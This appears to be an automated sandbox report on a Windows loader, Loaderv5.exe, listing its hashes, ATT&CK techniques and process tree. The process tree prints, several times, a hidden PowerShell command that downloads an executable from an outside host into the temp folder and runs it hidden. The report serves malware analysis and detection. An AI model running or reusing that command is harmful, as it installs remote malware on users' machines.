c52b2b8d4d2dcc272b3a6e58986986dbfd950a5abb6eb21df98c3eee0ff11781

Analysis

max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 11:54

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General

Target
Loaderv5.exe
Size 22KB
Sample260529-n2xfsaax71
SHA256 c52b2b8d4d2dcc272b3a6e58986986dbfd950a5abb6eb21df98c3eee0ff11781
MD5 654d0ca89d91b9daa2d420deb6f5d844
SHA1 ed54003e8d36cecda1d307feadbdca5aaa635534
SHA512 43560cbb7feda7dfcbaa4b061eb96607ed3371238c4f9ac1183016c0b67420d461f58d68dbad98b3a446eaf3508aafbbdab1de4df5ea6cebe5ab3884a23c8cbc
SSDEEP 384:aFFSuYX3lnLrse+X9gDT7qhu4VxjxRab1kPUuPiGJHIhsV2:CFSuYXdsp9gDXqhdVIxkP0GohsV2
TLSH
T190A23B13BF5A0CC5D06BD2B9C993079AD271790D2BA1A2CF6353912A5F692D0393BE43
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2040	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2040	powershell.exe
2040	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2040	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5312 wrote to memory of 2676	5312	Loaderv5.exe	81
PID 2676 wrote to memory of 4532	2676	cmd.exe	82
PID 5312 wrote to memory of 2892	5312	Loaderv5.exe	84
PID 4532 wrote to memory of 2040	4532	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\Loaderv5.exe
"C:\Users\Admin\AppData\Local\Temp\Loaderv5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK515438.exe; Start-Process -FilePath $env:TEMP\BK515438.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK515438.exe; Start-Process -FilePath $env:TEMP\BK515438.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK515438.exe; Start-Process -FilePath $env:TEMP\BK515438.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_yxe50jgn.lh5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yxe50jgn.lh5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH